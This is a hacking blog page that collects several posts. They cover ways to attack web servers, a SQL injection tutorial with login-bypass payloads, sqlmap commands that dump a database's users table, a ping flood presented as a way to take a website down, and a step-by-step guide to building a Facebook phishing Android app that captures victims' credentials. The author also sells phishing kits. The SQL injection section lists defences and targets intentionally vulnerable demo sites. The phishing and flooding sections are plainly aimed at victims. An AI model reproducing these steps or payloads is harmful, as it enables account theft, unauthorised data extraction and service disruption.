Wednesday, 24 May 2017

Best Web Server Hacking Techniques

Web Server Hacking Techniques

Lots of people know use, configure and manage their webservers but only few of them really know how to protect their web server from getting hacked i.e making it hack proof. Today lots of websites are hosted on a dedicated web servers so it's extremely important to make your web server hack proof in order to prevent any theft and data loss, Before I mention techniques used by hackers to compromise a web server and how you can protect your web server you should know what a web server is and how it works.
What is a webserver?

Basically a webserver is a single computer or more used to host websites, For a website to be available to every one (connected to internet) 24/7 it needs to be hosted on a webserver 

How webservers work?

Webservers work in a simple manner, When ever you are using browser to surf any page your browser will request that particular page from the webserver and the server sends back the requested page.

 

The above picture illustrates how a webserver works.

How Are Webservers Compromised Or hacked? 

There are multiple reasons why a webserver gets compromised or hacked, one of the major reason is installing the webserver with default and lack of updates and weak passwords. Once the server is compromised the hacker can use it to do malicious things online. For Example Hacked webservers can be used to as zombies to for performing a more powerful DDOS attack



Webserver Hacking Techniques

Below mentioned are some of the techniques which can be used by malicious hackers to compromise a webserver.

Orthodox Password Cracking Techniques

1. A hacker can use variety of password Cracking Techniques such as Brute forceDictionary attacks and rainbow tables to crack weak administrator account passwords, However these attacks create huge logs of presence, so therefore smarter hackers either use a proxy or any other iP hiding method or they use already compromised systems to perform the attack.

2. Man In The Middle Attack

A hacker can also perform a man in the middle attack also known as ARP poisoning to steal credentials of administrator account.

3.  Keyloggers And Trojans

If A hacker can manage to install a trojan or a keylogger on administrator's computer then, the malicious hacker can easily capture the credentials

4. DNS Cache Poisoning Attack

If a hacker can manage to insert fake address records for a domain name into DNS server and can make the webserver accept the fake address record then the hacker or intruder can easily control your browser, This attack is extremely dangerous as it happens without the users knowledge, The topic is quite big and is not possible to explain it here, depending upon readers response I might make a seprate tutorial on this attack

There are many other techniques used by hackers such as Ftp server intrusion, social engineering, exploiting web application bugs which are probably to be explained in the upcoming posts at rha.

Hope you have enjoyed reading the post and have probably got some idea how hackers can attack your web server, In the next post I will continue the series and will introduce some methods you can use to protect your webserver from getting compromised.

SQL Injection Attack

SQL Injection is an attack that poisons dynamic SQL statements to comment out certain parts of the statement or appending a condition that will always be true. It takes advantage of the design flaws in poorly designed web applications to exploit SQL statements to execute malicious SQL code.
In this tutorial, you will learn SQL Injection techniques and how you can protect web applications from such attacks.

How SQL Injection Works

The types of attacks that can be performed using SQL injection vary depending on the type of database engine. The attack works on dynamic SQL statements. A dynamic statement is a statement that is generated at run time using parameters password from a web form or URI query string.
Let’s consider a simple web application with a login form. The code for the HTML form is shown below.
<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

HERE,
  • The above form accepts the email address, and password then submits them to a PHP file named index.php.
  • It has an option of storing the login session in a cookie. We have deduced this from the remember_me checkbox. It uses the post method to submit data. This means the values are not displayed in the URL.
Let’s suppose the statement at the backend for checking user ID is as follows
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
HERE,
  • The above statement uses the values of the $_POST[] array directly without sanitizing them.
  • The password is encrypted using MD5 algorithm.
We will illustrate SQL injection attack using sqlfiddle. Open the URL http://sqlfiddle.com/ in your web browser. You will get the following window.
Note: you will have to write the SQL statements
Step 1) Enter this code in left pane
CREATE TABLE `users` (
  `id` INT NOT NULL AUTO_INCREMENT,
  `email` VARCHAR(45) NULL,
  `password` VARCHAR(45) NULL,
  PRIMARY KEY (`id`));
  
  
insert into users (email,password) values ('m@m.com',md5('abc'));
Step 2) Enter this code in right pane
select * from users;
Step 3) Click Build Schema
Step 4)Click Run SQL. You will see the following result

Suppose user supplies admin@admin.sys and 1234 as the password. The statement to be executed against the database would be
SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');
The above code can be exploited by commenting out the password part and appending a condition that will always be true. Let’s suppose an attacker provides the following input in the email address field.
xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]
xxx for the password.
The generated dynamic statement will be as follows.
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
HERE,
  • xxx@xxx.xxx ends with a single quote which completes the string quote
  • OR 1 = 1 LIMIT 1 is a condition that will always be true and limits the returned results to only one record.
  • -- ' AND … is a SQL comment that eliminates the password part.
Copy the above SQL statement and paste it in SQL FiddleRun SQL Text box as shown below

Hacking Activity: SQL Inject a Web Application

We have a simple web application at http://www.techpanda.org/ that is vulnerable to SQL Injection attacks for demonstration purposes only. The HTML form code above is taken from the login page. The application provides basic security such as sanitizing the email field. This means our above code cannot be used to bypass the login.
To get round that, we can instead exploit the password field. The diagram below shows the steps that you must follow
Let’s suppose an attacker provides the following input
  • Step 1: Enter xxx@xxx.xxx as the email address
  • Step 2: Enter xxx') OR 1 = 1 -- ]
  • Click on Submit button
  • You will be directed to the dashboard
The generated SQL statement will be as follows
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');
The diagram below illustrates the statement has been generated.
HERE,
  • The statement intelligently assumes md5 encryption is used
  • Completes the single quote and closing bracket
  • Appends a condition to the statement that will always be true
In general, a successful SQL Injection attack attempts a number of different techniques such as the ones demonstrated above to carry out a successful attack.

Other SQL Injection attack types

SQL Injections can do more harm than just by passing the login algorithms. Some of the attacks include
  • Deleting data
  • Updating data
  • Inserting data
  • Executing commands on the server that can download and install malicious programs such as Trojans
  • Exporting valuable data such as credit card details, email, and passwords to the attacker’s remote server
  • Getting user login details etc
The above list is not exhaustive; it just gives you an idea of what SQL Injection

Automation Tools for SQL Injection

In the above example, we used manual attack techniques based on our vast knowledge of SQL. There are automated tools that can help you perform the attacks more efficiently and within the shortest possible time. These tools include

How to Prevent against SQL Injection Attacks

An organization can adopt the following policy to protect itself against SQL Injection attacks.
  • User input should never be trusted - It must always be sanitized before it is used in dynamic SQL statements.
  • Stored procedures – these can encapsulate the SQL statements and treat all input as parameters.
  • Prepared statements –prepared statements to work by creating the SQL statement first then treating all submitted user data as parameters. This has no effect on the syntax of the SQL statement.
  • Regular expressions –these can be used to detect potential harmful code and remove it before executing the SQL statements.
  • Database connection user access rights –only necessary access rights should be given to accounts used to connect to the database. This can help reduce what the SQL statements can perform on the server.
  • Error messages –these should not reveal sensitive information and where exactly an error occurred. Simple custom error messages such as “Sorry, we are experiencing technical errors. The technical team has been contacted. Please try again later” can be used instead of display the SQL statements that caused the error.

Hacking Activity: Use Havij for SQL Injection

In this practical scenario, we are going to use Havij Advanced SQL Injection program to scan a website for vulnerabilities.
Note: your anti-virus program may flag it due to its nature. You should add it to the exclusions list or pause your anti-virus software.
The image below shows the main window for Havij
The above tool can be used to assess the vulnerability of a web site/application.

Summary

  • SQL Injection is an attack type that exploits bad SQL statements
  • SQL injection can be used to bypass login algorithms, retrieve, insert, and update and delete data.
  • SQL injection tools include SQLMap, SQLPing, and SQLSmack, etc.
  • A good security policy when writing SQL statement can help reduce SQL injection attacks.

Tuesday, 23 May 2017

HOW TO HACK WEB DATABASES USING SQLMAP ON KALI LINUX


Hacking is Not a Crime, it's an Art of Logic. Kali Linux is always a top choice for Hacking and Penetration tests . Most of the..
Kali Linux is always a top choice for Hacking and Penetration tests. Most of the Security researchers use Kali Linux to discover the bug or security flaw in the security system. But we will not mess our self with all these technical stuff right now. Today we are about to use SQLMAP which is a most used tool to test database vulnerability or for SQL injection. It supports many databases like MySQL, Oracle, IBM DB2 etc. 
Before I begin, I assume we all know few technical internet related terms, which is important.
  • Web databases   
  • Terminals
  • Networks
  • SQL
  • Security
  • Linux
If You know these terms then you can keep reading this post. Otherwise i suggest you to go with these terms first otherwise we will not be knowing what actually we have done. So Lets get started.

Steps:-
  • Open your Kali Linux or any other Linux distribution you like with SqlMap installed.  
  • First thing you have to open is Kali Linux Terminal or you can say command line from sidebar on desktop.
  • Type "sqlmap -h" just to see the help options for SqlMap, just like below.
The Example Website we have used for learning is "http://testphp.vulnweb.com/listproducts.php?cat=1". So go ahead and
  • Type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1"

This will start the SqlMap to look up for some vulnerability in database at various levels. If any option appear to choose between yes or no you are supposed to say yes like below in some cases.


The information like DBMS name, version, language used in website back end will be shown After the sqlmap finishes the test. So next move is to find the database names used in back end.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs"

the output of above SqlMap command will result in something like this.


Wow, half of the mission is accomplished. We just found the database names. Now we will select one database and find the tables in it.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D  acuart --tables"

this will output something like this.This contains the tables from acuart database. 


Select the one table and find the columns in it.

  • type "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  -T  users --columns"

this will reveal the columns in it, Like below.


Now one thing left is to get the information stored in these columns of the table, so let's do it.

type "sqlmap - u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart  -T users -C name,phone --dump"


The output is given below with information like name,phone etc which we have fetched above.


Finally we did it, we got the data stored in the database of the website with much less efforts. Still if you did't get it here is video demonstration of what we have done yet. Have a look below. 



Please note that This tutorial is only for learning purposes. Do not try this on live websites otherwise you may get your self in some trouble. If you like the tutorial please do share below.

How to hack a website using CMD





How to hack a website using CMD World's Easiest Method to Down or Hack a Website!! 1.Open Run>CMD>hit enter hardly 2.Now, type "ping (victims site)" hit enter { without inverted commas} 3.see the lines there is a IP address of victims site..@ notedown it 4.then type following "ping (IP Address) -t -l 1000" and then hit enter 5.Minimize CMD for 2 and 3 hours.......the site will down!!!! u hacked the Site Caution: Before all of this hide your IP using Ultra Surf ... Thank You!!!!! for visiting my blog...

Finding Ip Address Of A Website Using CMD

Finding Ip Address Of A Website Using Command Prompt Or CMD

In this tutorial i will teach you to find Ip Address of any website using Command Prompt or in short CMD. Using IP Address you can find location of the website server and do more stuff. I will demostrate this tutorial with Google but you can use this method to find IP Address of any website like twitter, facebook etc. So lets get started.

How to find IP ?

1. Go to Start > Type CMD and press Enter.
2. Now write Ping followed by website URL whose IP you want to find.
finding ip adddress of website

3. It will take less then a second and come up with the results as shown below.
finding ip adddress of website

In  my next post i will show you another easy way to find website IP Address and teach you to use this IP to find its location.

Create Facebook Phishing Apk For Android 2017

Create Facebook Phishing Apk For Android 2017

I hope you are fine ,now today i am coming with a new method of hacking Facebook using android application ,In my previous post how to hack Facebook via phishing page explained all steps in sequence wise for your clear understanding , today we'll use phishing but in another form of phishing ,in this tutorial we create an android application for android device when you or victim install it on his android device the fake Facebook phishing page will open when victim enter details all the information is saved in Web hosting server. This method is working when your victim has android device just say them that install this .apk file and enjoy Facebook hacking with apk.

Important Note: (Update)

If you don't want to follow Facebook phishing hacking procedure then you can give me order for making one account for you ,and i will charged only $50 For it ,and when you give me order i will give you one working phishing Application along with your own web host account and also give you some extra information about how u can get victim password ,and how you convince your victim ,i will guide you personally via email,if you areinterested to buy one phishing link you need to pay me only $50 which help me to maintenance my website.If you want to make undetectableFacebook phishing app for android and apple iPhone user then contact me my email id is extratipstricks@gmail.com. And payment accepted from PayPal and Payoneer only .Requirement:

  • 1-you'll need facebook phishing page with php script (don't worry if you don't know about it i'll explain it below)
  • 2-A web-hosting account where you host your phishing page
  • 3-and some time( at least 5 minutes if you are newbie)

Lets Start Our Tutorial :

for your clear understanding i divide this tutorial in two section listed below:
  • A-) Make phishing page and upload it on webhosting server
  • B-) Make the android application using phishing page

A) Step BStep Guide To Make Facebook Phishing Page And Upload IOServer

Step:A) Very first you need a phishing link ,if you don't know how to create phishing link then read this post first how to hack facebook using phishing link ,without phishing link you can't create your own phishing apk file which is responsible for fb hacking.Also if you are a indian users who want to know how to hack facebook in hindi langauge then read this post and create your phishing link easily.  

B)Make an android application using online app creator 

Step:2) first of all Go to this site  www.appsgeyser.com which offer to create a android application online without having any coding or extra knowledge of any programming language.
 

Step:3) after that you need to Click on CREATE NOW Button

 
how to make facebook phishing application for android phone -2015

Step4) here you get few option like below picture  simply Click the option "website"

 

how to make facebook phishing application for android phone -2015

Step:5) Here in this window you will see some fields  ,fill them like below 

  •  website url : Enter the  phishing page's url  (that you created in step17)
  • App name: Facebook or something related with facebook,
  • Description: here give description about your app what ever you want ,
  • Icon:  In icon field you have two option one is  use your "cutsom icom and second is default icon choose one which you want.


Step:6) when you filled all the required fields  just Click "Create app" button for creating your own phishing app and you have almost done!

Step:7) when you click on "create app" button a new window will open and ask for your name,last name ,email,password  simply enter all fields and hit  "sign up" button 
 

Step:8) now when you make an account successfully simply open your control panel here you see the option "download your application' hence download your android phishing facebook app easily.

VR Functionality